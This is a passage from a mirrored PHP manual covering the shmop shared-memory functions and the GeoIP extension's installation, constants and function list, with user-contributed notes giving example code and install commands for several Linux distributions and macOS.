#         as it will result in the IO_Test function not re-creating the existing files
*/
    foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }
    foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }

?>
hackie at prohost dot org 26-Sep-2005 09:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
Craig Manley 06-Jan-2005 03:19
Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
joeldg AT listbid.com 02-May-2003 12:48
Just so you know, the ftok function is probably the best for getting the key.. just so there are not people confused with how they are coming up with these hex codes for the id.

<?php
$fsize = filesize("/home/joeldg/testdata");
$fdata = file_get_contents("/home/joeldg/testdata");
$shm_id = shmop_open(ftok("/home/joeldg/testdata", 'R'), "c", 0644, $fsize);
?>
stoimenov at email dot com 23-Jul-2002 05:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
rei at prohost dot org 11-Jan-2001 03:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com 11-Jan-2001 03:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.
Basic usage
shmop_close
Shared Memory


Close shared memory block

Shared Memory Functions
shmop_delete
Shared Memory Functions
PHP Manual

shmop_close

(PHP 4 >= 4.0.4, PHP 5)

shmop_close — Close shared memory block

Description

void shmop_close ( int $shmid )

shmop_close() is used to close a shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

No value is returned.

Examples

Example #1 Closing shared memory block

<?php
shmop_close($shm_id);
?>

This example will close shared memory block identified by $shm_id.

See Also

  • shmop_open() - Create or open shared memory block

User Contributed Notes

slavapl at mailandnews dot com 02-May-2001 12:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).
Shared Memory Functions
shmop_delete
Shared Memory Functions


Delete shared memory block

shmop_close
shmop_open
Shared Memory Functions
PHP Manual

shmop_delete

(PHP 4 >= 4.0.4, PHP 5)

shmop_delete — Delete shared memory block

Description

bool shmop_delete ( int $shmid )

shmop_delete() is used to delete a shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting shared memory block

<?php
shmop_delete($shm_id);
?>

This example will delete shared memory block identified by $shm_id.

User Contributed Notes

lizzy 12-Oct-2004 07:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.
slavapl at mailandnews dot com 02-May-2001 12:27
There is an important factor to keep in mind here, the shmop_delete function doesn't actually "delete" the memory segment per say, it MARKS the segment for deletion. An shm segment can not be deleted while there are processes attached to it, so a call to shm_delete will two things, first no other processes will be allowed to attach to the segment after this call, and also, it will mark the segment for deletion, which means that when all current processes mapping the segment detach (shmop_close) the system will automatically delete the segment.

So, again, the proper way to close and delete an shm segement is:

$shmid = shmop_open(...);
(do something with the block here: read, write, whatever)
shmop_delete($shmid);
shmop_close($shmid);

you must call the shmop_delete before you call shmop_close for reasons outlined above.

Also to mark a segment for deletion you must be root or the owner.

A few notes from the linux manpage on shmctl:

IPC_RMID (the flag used in shmop_delete):
is used to mark the segment as destroyed. It will actually be destroyed after  the  last  detach. (I.e., when  the  shm_nattch  member of the associated structure shmid_ds is zero.)  The user must be the owner, creator, or the super-user.

***
The user must ensure that a segment is eventually destroyed; otherwise its pages that were faulted in will  remain in memory or swap.
***
shmop_close
shmop_open
Shared Memory Functions


Create or open shared memory block

shmop_delete
shmop_read
Shared Memory Functions
PHP Manual

shmop_open

(PHP 4 >= 4.0.4, PHP 5)

shmop_open — Create or open shared memory block

Description

int shmop_open ( int $key , string $flags , int $mode , int $size )

shmop_open() can create or open a shared memory block.

Parameters

key

System's id for the shared memory block. Can be passed as a decimal or hex.

flags

The flags that you can use:

  • "a" for access (sets SHM_RDONLY for shmat) use this flag when you need to open an existing shared memory segment for read only
  • "c" for create (sets IPC_CREATE) use this flag when you need to create a new shared memory segment or if a segment with the same key exists, try to open it for read and write
  • "w" for read & write access use this flag when you need to read and write to a shared memory segment, use this flag in most cases.
  • "n" create a new memory segment (sets IPC_CREATE|IPC_EXCL) use this flag when you want to create a new shared memory segment but if one already exists with the same flag, fail. This is useful for security purposes, using this you can prevent race condition exploits.

mode

The permissions that you wish to assign to your memory segment, those are the same as permission for a file. Permissions need to be passed in octal form, like for example 0644

size

The size of the shared memory block you wish to create in bytes

Note:

Note: the 3rd and 4th should be entered as 0 if you are opening an existing memory segment.

Return Values

On success shmop_open() will return an id that you can use to access the shared memory segment you've created. FALSE is returned on failure.

Examples

Example #1 Create a new shared memory block

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

This example opened a shared memory block with a system id returned by ftok().

See Also

  • shmop_close() - Close shared memory block
  • shmop_delete() - Delete shared memory block

User Contributed Notes

a 25-Feb-2011 04:31
On win xp 32bit php 5.2.6 recreation of shared memory block with the same id but bigger size fails.

<?php
$shm_key = 0xff3;
$shm_id = shmop_open($shm_key, "c", 0666, 128);
shmop_delete($shm_id);
shmop_close($shm_id);
$shm_id = shmop_open($shm_key, "c", 0666, 32);
shmop_delete($shm_id);
shmop_close($shm_id);
$shm_id = shmop_open($shm_key, "c", 0666, 1024); // on win32 fails there
shmop_delete($shm_id);
shmop_close($shm_id);
?>
DinosauRUS 29-Aug-2008 03:24
If you faced with any problem you're going to solve with shared memmory, but your server doesn't support it, you can use files instead. I've wrote simple wrapper for this and its suites for me. Hope it will be usefull for you too.

<?php

define(kSHARED_FOLDER, "shared/");
define(kSHARED_MAX_ATTEMPS, 10);
define(kSESSION_SHARED, "shared_");

class Shared {
    var $id = 0;
    var $filename = '';
    var $filepointer;

    var $data = array();
    var $date = 0;

    function Shared($id) {
        $this->id = $id;

        $this->filename = kSHARED_FOLDER.$this->id;

        if(empty($this->filename))
        {
            print "no filename";
            return false;
        }

        $this->date = $_SESSION[kSESSION_SHARED.$id];

    }

    function clear() {
        if ($this->id == null)
        {
            return false;
        }

        $counter = 0;
        ignore_user_abort(true);
        if(($this->filepointer = @fopen($this->filename, "w")) == false) {
            ignore_user_abort(false);
            return false;
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                ignore_user_abort(false);
                return false;
            }

            if(flock($this->filepointer, LOCK_EX) == false) {
                $counter++;
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return false;
        }

        unset($this->data);
        $this->data = array();

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return true;
    }

    function setObjectForKey($value, $key) {
        if ($this->id == null)
            return false;

        $counter = 0;
        ignore_user_abort(true);
        if(($this->filepointer = @fopen($this->filename, "a+")) == false) {
            ignore_user_abort(false);
            print "can not open file<br>";
            return false;
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                print("1 aborted...");
                ignore_user_abort(false);
                return false;
            }

            $block;
            if(flock($this->filepointer, LOCK_EX, $block) == false) {
                $counter++;
                print("1 waiting...");
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        $data = file_get_contents($this->filename);
        $array = array();
        if (!empty($data))
            $array = unserialize($data);

        $array[$key] = $value;
        $data = serialize($array);
        ftruncate($this->filepointer, 0);
        fseek($this->filepointer, 0, SEEK_SET);
        fwrite($this->filepointer, $data);

        $this->data = $array;

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return false;
        }

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return true;
    }

    function getObjectForKey($key)    {
        if ($this->id == null)
            return null;

        $counter = 0;
        ignore_user_abort(true);

        if(($this->filepointer = @fopen($this->filename, "a+")) == false) {
            ignore_user_abort(false);
            print("can not open<br>");
            return null;
        }

        if ($this->date == filemtime($this->filename)) {
            fclose($this->filepointer);
            return $this->data[$key];
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                ignore_user_abort(false);
                print("2 aborted<br>");
                return null;
            }

            if(flock($this->filepointer,  LOCK_SH ) == false) {
                $counter++;
                print("2 waiting...<br>");
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        fseek($this->filepointer, 0);
        $data = file_get_contents($this->filename);
        $array = array();
        if (!empty($data))
            $array = unserialize($data);

        $data = $array[$key];
        $this->data = $array;

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return $data;
        }

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return $data;
    }
}
?>
erelsgl at gmail dot com 27-Nov-2007 03:04
=== Checking if a shared memory exists ===
The solution provided by Mitchell_Shnier at ieee dot orgZ doesn't work on my computer - I get a warning "Invalid flag ac".

In order to check if a shared-memory exists, you just have to open it with the "a" or "w" flag, while hiding the warnings using the "@" operator:
<?php
@$shid = shmop_open($systemId, "a", 0666, 0);
if (!empty($shid)) {
            ... shared memory exists
} else {
            ... shared memory doesn't exist
}
?>
Craig Manley 05-Jan-2005 05:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x6e6a694d 65538      mijnbel   644        65536      0
0x326e794d 98307      mijnbel   644        65536      0
0x62417347 131076     smsklap   644        65536      0
me at here dot com 07-Dec-2004 05:04
Just an alternative idea if 'shared memory' is what you need for your websites, you can use tmpfs (on Linux):

Get root to do this:
mkdir /home/myname/tmpfs
chown myname:mygroup /home/myname/tmpfs
..and this in a script executed at boot time:
mount -t tmpfs /mnt/tmpfs /home/myuser/tmpfs

Now you can use regular file functions (including locking) to access shared memory between all your processes.

More info: http://docsun.cites.uiuc.edu/sun_docs/C/
...and this because the note editor doesn't accept long lines...
solaris_9/SUNWaadm/SYSADV1/p150.html
daniele_dll at yahoo dot it 01-Feb-2004 01:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
    $st = @stat($pathname);
    if (!$st) {
        return -1;
    }

    $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
    return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen 28-Aug-2003 11:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.
Mitchell_Shnier at ieee dot orgZ 07-Nov-2001 05:51
To check whether a particular shared memory segment is already created, you need to concatenate the "a" and "c" flags. For example (where $SystemKey is the Unix key used by the other process(es) with which you want to share this memory segment)...<BR>
$shm_id = shmop_open($SystemKey, "ac", 0, 0);
if ($shm_id) {
   #it is already created
} else {
   #you need to create it with shmop_open using "c" only
}<BR>
Using only "a" does not work (just as using only IPC_EXCL in the Unix shmget() call is meaningless). Also, use the ipcs shell command to see your shared memory segments.
macmaster at pobox dot com 30-Mar-2001 12:15
the key is a LONG variable type, meaning that the key can only be eight (8) bytes long, which can be too short if you're using any form of automagic key generation (like a parsed filename)
shmop_delete
shmop_read
Shared Memory Functions


Read data from shared memory block

shmop_open
shmop_size
Shared Memory Functions
PHP Manual

shmop_read

(PHP 4 >= 4.0.4, PHP 5)

shmop_read — Read data from shared memory block

Description

string shmop_read ( int $shmid , int $start , int $count )

shmop_read() will read a string from shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

start

Offset from which to start reading

count

The number of bytes to read

Return Values

Returns the data or FALSE on failure.

Examples

Example #1 Reading shared memory block

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

This example will read 50 bytes from shared memory block and place the data inside $shm_data.

See Also

  • shmop_write() - Write data into shared memory block

User Contributed Notes

Milan Cvejic 18-Feb-2009 01:35
You should always serialize data written in shared memory.
And when you are reading data you should always unserialize.

<?php

$data = 'test';
$shm_bytes_written = shmop_write($shm_id, serialize($data), 0);
$shm_data = unserialize(shmop_read($shm_id, 0, $shm_bytes_written));
?>
Craig Manley 07-Jan-2005 02:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
    return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com 02-May-2001 12:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com 30-Mar-2001 12:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.
shmop_open
shmop_size
Shared Memory Functions


Get size of shared memory block

shmop_read
shmop_write
Shared Memory Functions
PHP Manual

shmop_size

(PHP 4 >= 4.0.4, PHP 5)

shmop_size — Get size of shared memory block

Description

int shmop_size ( int $shmid )

shmop_size() is used to get the size, in bytes of the shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

Returns an int, which represents the number of bytes the shared memory block occupies.

Examples

Example #1 Getting the size of the shared memory block

<?php
$shm_size = shmop_size($shm_id);
?>

This example will put the size of shared memory block identified by $shm_id into $shm_size.

User Contributed Notes

There are no user contributed notes for this page.
shmop_read
shmop_write
Shared Memory Functions


Write data into shared memory block

shmop_size
Other Basic Extensions
Shared Memory Functions
PHP Manual

shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write — Write data into shared memory block

Description

int shmop_write ( int $shmid , string $data , int $offset )

shmop_write() will write a string into shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

data

A string to write into shared memory block

offset

Specifies where to start writing data inside the shared memory segment.

Return Values

The size of the written data, or FALSE on failure.

Examples

Example #1 Writing to shared memory block

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

See Also

  • shmop_read() - Read data from shared memory block

User Contributed Notes

There are no user contributed notes for this page.
shmop_size
Other Basic Extensions
Shared Memory Functions


Other Basic Extensions

  • GeoIP — Geo IP Location
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • GeoIP Functions
  • JSON — JavaScript Object Notation
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • JsonSerializable — The JsonSerializable class
    • JSON Functions
  • Judy — Judy Arrays
    • Introduction
    • Installing/Configuring
    • Judy — The Judy class
    • Judy Functions
  • Lua
    • Introduction
    • Installing/Configuring
    • Lua — The Lua class
    • LuaClosure — The LuaClosure class
  • Misc. — Miscellaneous Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Misc. Functions
  • Parsekit
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Parsekit Functions
  • SPL — Standard PHP Library (SPL)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Datastructures
    • Iterators
    • Interfaces
    • Exceptions
    • SPL Functions
    • File Handling
    • Miscellaneous Classes and Interfaces
  • SPL Types — SPL Type Handling
    • Introduction
    • Installing/Configuring
    • SplType — The SplType class
    • SplInt — The SplInt class
    • SplFloat — The SplFloat class
    • SplEnum — The SplEnum class
    • SplBool — The SplBool class
    • SplString — The SplString class
  • Streams
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Stream Filters
    • Stream Contexts
    • Stream Errors
    • Examples
    • streamWrapper — The streamWrapper class
    • Stream Functions
  • Tidy
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • tidy — The tidy class
    • tidyNode — The tidyNode class
    • Tidy Functions
  • Tokenizer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Tokenizer Functions
  • URLs
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • URL Functions
  • V8js — V8 Javascript Engine Integration
    • Introduction
    • Installing/Configuring
    • Examples
    • V8Js — The V8Js class
    • V8JsException — The V8JsException class
  • Yaml — YAML Data Serialization
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Yaml Functions
  • Yaf
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Application Configuration
    • Yaf_Application — The Yaf_Application class
    • Yaf_Bootstrap_Abstract — The Yaf_Bootstrap_Abstract class
    • Yaf_Dispatcher — The Yaf_Dispatcher class
    • Yaf_Config_Abstract — The Yaf_Config_Abstract class
    • Yaf_Config_Ini — The Yaf_Config_Ini class
    • Yaf_Config_Simple — The Yaf_Config_Simple class
    • Yaf_Controller_Abstract — The Yaf_Controller_Abstract class
    • Yaf_Action_Abstract — The Yaf_Action_Abstract class
    • Yaf_View_Interface — The Yaf_View_Interface class
    • Yaf_View_Simple — The Yaf_View_Simple class
    • Yaf_Loader — The Yaf_Loader class
    • Yaf_Plugin_Abstract — The Yaf_Plugin_Abstract class
    • Yaf_Registry — The Yaf_Registry class
    • Yaf_Request_Abstract — The Yaf_Request_Abstract class
    • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Simple — The Yaf_Request_Simple class
    • Yaf_Response_Abstract — The Yaf_Response_Abstract class
    • Yaf_Route_Interface — The Yaf_Route_Interface class
    • Yaf_Route_Map — The Yaf_Route_Map class
    • Yaf_Route_Regex — The Yaf_Route_Regex class
    • Yaf_Route_Rewrite — The Yaf_Route_Rewrite class
    • Yaf_Router — The Yaf_Router class
    • Yaf_Route_Simple — The Yaf_Route_Simple class
    • Yaf_Route_Static — The Yaf_Route_Static class
    • Yaf_Route_Supervar — The Yaf_Route_Supervar class
    • Yaf_Session — The Yaf_Session class
    • Yaf_Exception — The Yaf_Exception class
    • Yaf_Exception_TypeError — The Yaf_Exception_TypeError class
    • Yaf_Exception_StartupError — The Yaf_Exception_StartupError class
    • Yaf_Exception_DispatchFailed — The Yaf_Exception_DispatchFailed class
    • Yaf_Exception_RouterFailed — The Yaf_Exception_RouterFailed class
    • Yaf_Exception_LoadFailed — The Yaf_Exception_LoadFailed class
    • Yaf_Exception_LoadFailed_Module — The Yaf_Exception_LoadFailed_Module class
    • Yaf_Exception_LoadFailed_Controller — The Yaf_Exception_LoadFailed_Controller class
    • Yaf_Exception_LoadFailed_Action — The Yaf_Exception_LoadFailed_Action class
    • Yaf_Exception_LoadFailed_View — The Yaf_Exception_LoadFailed_View class

User Contributed Notes

There are no user contributed notes for this page.
shmop_write
GeoIP
Function Reference


Geo IP Location

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • GeoIP Functions
    • geoip_continent_code_by_name — Get the two letter continent code
    • geoip_country_code_by_name — Get the two letter country code
    • geoip_country_code3_by_name — Get the three letter country code
    • geoip_country_name_by_name — Get the full country name
    • geoip_database_info — Get GeoIP Database information
    • geoip_db_avail — Determine if GeoIP Database is available
    • geoip_db_filename — Returns the filename of the corresponding GeoIP Database
    • geoip_db_get_all_info — Returns detailed information about all GeoIP database types
    • geoip_id_by_name — Get the Internet connection type
    • geoip_isp_by_name — Get the Internet Service Provider (ISP) name
    • geoip_org_by_name — Get the organization name
    • geoip_record_by_name — Returns the detailed City information found in the GeoIP Database
    • geoip_region_by_name — Get the country code and region
    • geoip_region_name_by_code — Returns the region name for some country and region code combo
    • geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

User Contributed Notes

There are no user contributed notes for this page.
Other Basic Extensions
Introduction
Other Basic Extensions


Introduction

The GeoIP extension allows you to find the location of an IP address. City, State, Country, Longitude, Latitude, and other information as all, such as ISP and connection type can be obtained with the help of GeoIP.

User Contributed Notes

There are no user contributed notes for this page.
GeoIP
Installing/Configuring
GeoIP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

sballeste at gmail dot com 30-Apr-2011 02:57
If the data files under /usr/share/GeoIP/ are not readable by apache, apache's process will crash with a segfault on calls to geoip functions.
ben at SPAMLESS dot ism dot net dot nz 28-Apr-2011 09:20
SUSE (as root):

# zypper install php5-devel
# SuSEconfig
# mkdir -p /usr/share/GeoIP
# wget http://pecl.php.net/get/geoip-1.0.7.tgz
(whatever the latest version is from http://pecl.php.net/package/geoip )
# tar -xzf geoip-1.0.7.tgz
# cd geoip-1.0.7/
# phpize
# ./configure
# make
# make install
# cp /etc/php5/conf.d/gd.ini /etc/php5/conf.d/geoip.ini
# vi /etc/php5/conf.d/geoip.ini
Change gd.so to geoip.so
:wq!
# vi /etc/php5/apache2/php.ini
Find the [gd] section and add a new section afterwards:
[geoip]
geoip.custom_directory = /usr/share/GeoIP/
:wq!
# /etc/init.d/apache2 restart

Check phpinfo() that geoip is loaded and the default location for the DB's is set.

If you want the free DBs that are update roughly monthly, follow the "Lite" links from http://www.maxmind.com/app/country and download the tar.gz to /usr/share/GeoIP/ and extract.
bob at qww dot cz 19-Aug-2009 12:00
To install geoip on debian lenny:

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz
sudo mkdir -v /usr/share/GeoIP
sudo mv -v GeoLiteCity.dat /usr/share/GeoIP/GeoIPCity.dat

sudo apt-get install php5-geoip

and then try it in PHP:
print_r(geoip_record_by_name('php.net'));

returns:
Array
(
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Sunnyvale
    [postal_code] => 94089
    [latitude] => 37.4249000549
    [longitude] => -122.007400513
    [dma_code] => 807
    [area_code] => 408
)
munitoris at inetspec dot com 14-Jul-2009 03:12
At the time of this writing, the PECL binaries at http://pecl4win.php.net/ are NOT AVAILABLE.

Specifically, the php_geoip.dll extension is not available in a pre-compiled form for Windoze PHP developers.

There are only two alternative solutions to self-compiling for Windoze (AFAIK):

1) Use the "Pure" PHP version of the GeoIP API from MaxMind available here (http://www.maxmind.com/download/geoip/api/php/).  This solution is not really acceptable for production machines because of its slower speed.  However, it does work for development.

2) Use the older version of this pre-compiled extension (http://www.gknw.de/php/ext_win32/php-5.2.1_geoip-w32.zip).  It worked on my development system using Windoze XP sp2, Apache 2.2.3 and PHP 5.2.10.  There are also older versions for PHP 5.1.2 and PHP 5.1.4 in the same directory.
matt at kynx dot org 14-Dec-2008 10:16
Installation on OSX (Leopard) running MAMP

First you need MacPorts installed and operational:
http://www.macports.org

Use that to install libgeoip. From a terminal window, do:

    $ sudo port install libgeoip

This installs the library in /opt/local. Unfortunately the current version of the PECL extension doesn't know to look there, so you'll need to download and compile manually from http://pecl.php.net/package/geoip

Assuming it's in your download directory, extract it:

    $ cd ~/Downloads
    $ tar -xzf geoip-1.0.3.tgz
    $ cd geoip-1.0.3

Now edit the config.m4 file and change the SEARCH_PATH variable, as described in the following bug report:
http://pecl.php.net/bugs/bug.php?id=14795

Now you should be able to compile and install the extension as usual. Make sure you use the phpize from the MAMP package, not the one that ships with OSX:

    $ /App*/MAMP/bin/php5/bin/phpize
    $ ./configure
    $ make
    $ sudo make install

If phpize complains that it cannot find files under /Applications/MAMP/bin/php5/include, make sure you have the development version of MAMP installed (link towards the bottom of the MAMP download page).

You're nearly there! The extension will have installed in /usr/lib/php. You need to copy it into your MAMP extension directory:

    $ cd /App*/MAMP/bin/php5/lib/php/ext*/no-debug*/
    $ mv /usr/lib/php/ext*/no-debug*/geoip.so .

Now edit the php.ini file in /Applications/MAMP/conf/php5/ and add the following line:

     extension=geoip.so

Restart your web server and check phpinfo() - the geoip extension should now be listed.

Good luck!
code at edoceo dot com 08-Dec-2008 01:12
Installation on Gentoo (2008.0) as follows:

emerge dev-libs/geoip
pecl install geoip

Then fetch the databases to /usr/share/GeoIP (wrapped!)
cd /usr/share/GeoIP
wget http://geolite.maxmind.com/download/geoip/ \
  database/GeoLiteCity.dat.gz
wget http://geolite.maxmind.com/download/geoip/ \
  database/GeoLiteCountry/GeoIP.dat.gz
Introduction
Requirements
GeoIP


Requirements

This extension requires the GeoIP C library version 1.4.0 or higher to be installed. You can grab the latest version from » http://www.maxmind.com/app/c and compile it yourself.

By default, you will only have access to the Free GeoIP Country or GeoLite City databases. While this module can work with other types of database, you must buy a commercial license from » Maxmind.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/geoip.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

mcremer at bitgravity dot com 01-Apr-2011 01:52
According to the GeoIP PECL release notes, version 1.0.1 and later support the geoip.custom_directory php.ini setting.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GEOIP_COUNTRY_EDITION (integer)
GEOIP_REGION_EDITION_REV0 (integer)
GEOIP_CITY_EDITION_REV0 (integer)
GEOIP_ORG_EDITION (integer)
GEOIP_ISP_EDITION (integer)
GEOIP_CITY_EDITION_REV1 (integer)
GEOIP_REGION_EDITION_REV1 (integer)
GEOIP_PROXY_EDITION (integer)
GEOIP_ASNUM_EDITION (integer)
GEOIP_NETSPEED_EDITION (integer)
GEOIP_DOMAIN_EDITION (integer)

The following constants are for net speed:

GEOIP_UNKNOWN_SPEED (integer)
GEOIP_DIALUP_SPEED (integer)
GEOIP_CABLEDSL_SPEED (integer)
GEOIP_CORPORATE_SPEED (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
GeoIP Functions
GeoIP


GeoIP Functions

Table of Contents

  • geoip_continent_code_by_name — Get the two letter continent code
  • geoip_country_code_by_name — Get the two letter country code
  • geoip_country_code3_by_name — Get the three letter country code
  • geoip_country_name_by_name — Get the full country name
  • geoip_database_info — Get GeoIP Database information
  • geoip_db_avail — Determine if GeoIP Database is available
  • geoip_db_filename — Returns the filename of the corresponding GeoIP Database
  • geoip_db_get_all_info — Returns detailed information about all GeoIP database types
  • geoip_id_by_name — Get the Internet connection type
  • geoip_isp_by_name — Get the Internet Service Provider (ISP) name
  • geoip_org_by_name — Get the organization name
  • geoip_record_by_name — Returns the detailed City information found in the GeoIP Database
  • geoip_region_by_name — Get the country code and region
  • geoip_region_name_by_code — Returns the region name for some country and region code combo
  • geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

User Contributed Notes

josh at innurve dot com dot au 28-May-2011 08:10
If you're having trouble making the GeoIP PHP functions recognise the location of your GeoIP database, the following block of code will show you all the directories in which the PHP functions are looking... so you'll need to shift your files around to suit it:

<?php
print_r( geoip_db_get_all_info() );
?>

and it'll output an array of 13 or so elements, looking something like this:
Array
(
    [1] => Array
        (
            [available] => 1
            [description] => GeoIP Country Edition
            [filename] => /usr/share/GeoIP/GeoIP.dat
        )

    [2] => Array
        (
            [available] => 1
            [description] => GeoIP City Edition, Rev 1
            [filename] => /usr/share/GeoIP/GeoIPCity.dat
        )

    [3] => Array
        (
            [available] =>
            [description] => GeoIP Region Edition, Rev 1
            [filename] => /usr/share/GeoIP/GeoIPRegion.dat
        )
.. and so on.

"available" will be 1 when the GeoIP file has been found and loaded.

NOTE: if you download the GeoLiteCity.dat.gz file from MaxMind, just decompress it and rename it to GeoIPCity.dat and use the GEOIP_CITY_EDITION_REV1 constant and it'll work fine in PHP.
nospam dot guilhem at nospam dot answeb dot net 05-Apr-2011 02:26
Hello,

